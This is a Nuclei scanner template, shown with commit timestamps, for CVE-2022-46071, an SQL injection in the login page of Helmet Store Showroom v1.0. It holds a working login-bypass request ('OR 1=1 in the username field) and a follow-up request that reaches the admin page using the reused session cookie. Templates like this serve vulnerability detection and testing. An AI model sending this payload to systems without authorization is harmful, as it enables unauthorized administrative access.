nuclei-templates/http/cves/2022/CVE-2022-46071.yaml

45 lines
1.3 KiB
YAML
Raw Normal View History

2023-06-30 07:14:02 +00:00
id: CVE-2022-46071
info:
2023-06-30 12:21:12 +00:00
name: Helmet Store Showroom v1.0 - SQL Injection
2023-06-30 07:14:02 +00:00
author: Harsh
severity: critical
description: |
There is SQL Injection vulnerability at Helmet Store Showroom v1.0 Login Page. This vulnerability can be exploited to bypass admin access.
reference:
- https://yuyudhn.github.io/CVE-2022-46071/
- https://nvd.nist.gov/vuln/detail/CVE-2022-46071
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-46071
cwe-id: CWE-89
2023-07-11 19:49:27 +00:00
epss-score: 0.00866
cpe: cpe:2.3:a:helmet_store_showroom_site_project:helmet_store_showroom_site:1.0:*:*:*:*:*:*:*
2023-06-30 07:14:02 +00:00
metadata:
max-request: 2
2023-06-30 07:14:02 +00:00
verified: true
2023-07-11 19:49:27 +00:00
vendor: helmet_store_showroom_site_project
product: helmet_store_showroom_site
2023-07-10 12:29:22 +00:00
tags: cve,cve2022,sqli,admin-bypass,helmet
2023-06-30 12:21:12 +00:00
2023-06-30 07:14:02 +00:00
http:
- raw:
- |
2023-07-10 12:29:22 +00:00
POST /classes/Login.php?f=login HTTP/1.1
2023-06-30 07:14:02 +00:00
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
username='+OR+1%3D1+--+-&password=1234
- |
2023-07-10 12:29:22 +00:00
GET /admin/ HTTP/1.1
2023-06-30 07:14:02 +00:00
Host: {{Hostname}}
2023-06-30 12:21:12 +00:00
2023-06-30 07:14:02 +00:00
cookie-reuse: true
matchers:
- type: dsl
dsl:
- 'status_code_2 == 200'
2023-07-10 12:29:22 +00:00
- 'contains(body_2, "Helmet Store") && contains(body_2, "Adminstrator Admin")'
2023-06-30 07:14:02 +00:00
condition: and